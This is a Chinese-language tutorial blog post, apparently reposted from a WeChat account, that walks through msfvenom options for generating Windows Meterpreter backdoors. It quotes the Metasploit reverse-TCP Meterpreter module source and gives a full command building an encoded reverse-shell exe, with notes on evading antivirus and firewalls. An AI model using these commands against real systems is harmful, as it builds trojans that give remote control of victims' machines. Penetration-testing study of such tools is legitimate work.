Msfvenom后门重新学习与分析-windows篇

Msfvenom 是msf框架配套的攻击载荷生成器。

什么是攻击荷载

Payload:目标系统上渗透成功后执行的代码

msfvenom命令行选项如下:

使用如下命令可以查看恶意代码详细信息:

Info 荷载/编码/指令

下面我们逐条分析命令的使用

1)-p,--payload <负载>负载使用。指定' - '或标准输入使用自定义负载

如下图:

在metasploit里有那些meterpreter的windows攻击荷载:

/windows/meterpreter/reverse_tcp.md.gz

/windows/meterpreter_loader.rb

/windows/meterpreter_bind_tcp.rb(内网使用,不需要添加lhost)

/windows/meterpreter_reverse_http.rb

/windows/meterpreter_reverse_https.rb

/windows/meterpreter_reverse_ipv6_tcp.rb

/windows/meterpreter_reverse_tcp.rb

/windows/meterpreter.rb

还有那些攻击荷载

那metasploit里还有哪些格式攻击荷载:

-----------------------------------+---------------------------------------

windows/meterpreter_reverse_tcp:代码

-----------------------------------+---------------------------------------/usr/share/metasploit-framework/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

require 'msf/core/payload/transport_config'

require 'msf/core/handler/reverse_tcp'

require 'msf/core/payload/windows/meterpreter_loader'

require 'msf/base/sessions/meterpreter_x86_win'

require 'msf/base/sessions/meterpreter_options'

require 'rex/payloads/meterpreter/config'

module MetasploitModule

CachedSize = 957487

include Msf::Payload::TransportConfig

include Msf::Payload::Windows

include Msf::Payload::Single

include Msf::Payload::Windows::MeterpreterLoader

include Msf::Sessions::MeterpreterOptions

def initialize(info = {})

super(merge_info(info,

'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline',

'Description' => 'Connect back to attacker and spawn a Meterpreter shell',

'Author' => [ 'OJ Reeves' ],

'License' => MSF_LICENSE,

'Platform' => 'win',

'Arch' => ARCH_X86,

'Handler' => Msf::Handler::ReverseTcp,

'Session' => Msf::Sessions::Meterpreter_x86_Win

))

register_options([

OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),

OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),

], self.class)

end

def generate(opts={})

opts[:stageless] = true

stage_meterpreter(opts) + generate_config(opts)

end

def generate_config(opts={})

opts[:uuid] ||= generate_payload_uuid

# create the configuration block, which for staged connections is really simple.

config_opts = {

arch: opts[:uuid].arch,

exitfunk: datastore['EXITFUNC'],

expiration: datastore['SessionExpirationTimeout'].to_i,

uuid: opts[:uuid],

transports: [transport_config_reverse_tcp(opts)],

extensions: (datastore['EXTENSIONS'] || '').split(','),

ext_init: (datastore['EXTINIT'] || '')

}

# create the configuration instance based off the parameters

config = Rex::Payloads::Meterpreter::Config.new(config_opts)

# return the binary version of it

config.to_b

end

end

-----------------------------------+----------------------------------------

2) -l(小写L字母), --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-----------------------------------+-----------------------------------------

Framework Payloads (473 total)

==============================

-----------------------------------+------------------------------------------

Framework Encoders

==================

-----------------------------------+-----------------------------------------

Framework NOPs (9 total)

========================

详细查询每个有效荷载的信息

3)-n, --nopsled(指令) length> 为payload预先指定一个NOP滑动长度(一切为了绕过防火墙与免杀)

翻译:(很不准一切,以读者自我理解为主)

armle/simple NOP发生器

mipsbe/better 更好的NOP发生器 php/generic 生成PHP脚本的无害填充

ppc/simple NOP发生器

sparc/random SPARC NOP发生器

tty/generic 为TTY输入生成无害填充

x64/simple 一个x64单/多字节NOP指令生成器

x86/opty2 Opty2多字节NOP发生器

x86/single_byte byte单字节NOP发生器

使用失败,暂时放下,看去其他参数

-----------------------------------+-----------------------------------------

4)-f,--format <格式>输出格式(使用--help-格式列表)

5) -e,--encoder [编码器]编码器使用

win2003(32位) -e x86/shikata_ga_nai,无法反弹shell,需要多实验不同系统,次编码跨平台

6)-a, - -arch <架构>的架构使用

- -platform <平台>有效载荷的平台

msfvenom -p windows/meterpreter/reverse_tcp --arch x86 --platform windows -i 20 lHOST=19 2.168.248.128 LPORT=6666 -f exe>./a.exe

7) -s,--space <长度>所得有效负载的最大尺寸,简单说就是生成的后门的字节数。(用于绕过防火墙和免杀,不过有一点疑问,我自己定义了字节数,生成的后门是73802字节,而不是我个人设定的80000字节,可能需要分析生成的后门代码,需要进一步实战中分析)

成功显示:

规定的字节数不够提示:

生成的无法运行的木马:

8) -b,--bad-字符<列表>字符列表,以避免例如:'\ X00 \ XFF“空格等坏字符的出现

导致后门无法运行,这里需要掌握汇编自己编写shellcode,掌握溢出知识,独立发现应用程序漏洞或者web漏洞能力者所使用的参数。

9) -i,--iterations 编码次数的次数,以有效负载进行编码

10)-c,--add代码<路径>指定一个额外的win32 shellcode的文件

首先生成一个shellcode

然后监听exploit/multi/handler

连接后出现

这是想到了第一个后门的端口是2222,造成链接不上的原因

把两个后门端口改成一样的时候,可以链接到,却无法反弹shell

剩下 -x与-k参数后续更新:

-x,--template <路径>指定一个自定义的可执行文件作为模板使用

-k,--keep保存模板行为和有效载荷为一个新的线程注入

--payload-选项列表中的有效载荷的标准选项

------------------------------------------------------------------------------

-o,--out <路径>保存有效载荷

-v,--var名<名>指定用于某些输出格式的自定义变量名称

-h,--help显示此消息

----------------------------------------------------------------

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2018-03-20

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏老安的博客

Lotgstash日志切割示例

1533
来自专栏大魏分享(微信公众号:david-share)

从PowerVM,KVM到Docker:存储池的配置与调优---第一篇终结(第3子篇)

VIOC 上的 VSCSI 性能调优 在本实验的 VIOC 中,一个磁盘对应 4 条 VSCSI 路径。查看磁盘默认的属性 ; # lsattr -El hdi...

5206
来自专栏有刻

Java 小记 — RabbitMQ 的实践与思考

38710
来自专栏以南小隐-数通那些事儿

锐捷RSOS_10.4之后版本Ctrl层升级系统版本

1804
来自专栏BeJavaGod

省市区 - 三级联动通用化模块组件

都说我们要做模块化设计,而不要做功能化设计 什么是模块化设计,就是可插拔性高,组件化,想要就用,不要用拉倒,直接删除就行 什么是功能化设计,就是一个简单的功能,...

4945
来自专栏纯洁的微笑

springboot(十一):Spring boot中mongodb的使用

mongodb是最早热门非关系数据库的之一,使用也比较普遍,一般会用做离线数据分析来使用,放到内网的居多。由于很多公司使用了云服务,服务器默认都开放了外网地址,...

3576
来自专栏有趣的django

一个完整的Django入门指南(三)

第五部分  Introduction Welcome to the 5th part of the tutorial series! In this tutor...

4917
来自专栏张戈的专栏

移动搜索SEO:网站移动适配之Meta标注、移动跳转终结篇

这些天,在给博客的标签页(tag)添加跳转和 META 动态申明时,居然让我醍醐灌顶,发现之前的动态适配的做法是多么的苦逼和小白! 总结前,先来回顾下小白张戈在...

5066
来自专栏JavaEE

Java调用微信登录以及eclipse 远程调试前言:一、微信测试号的连接与申请:二、eclipse远程调试:总结:

3415
来自专栏吴伟祥

stellar 原

Actions that change things in Stellar, like sending payments, changing your acco...

1184

扫码关注云+社区

领取腾讯云代金券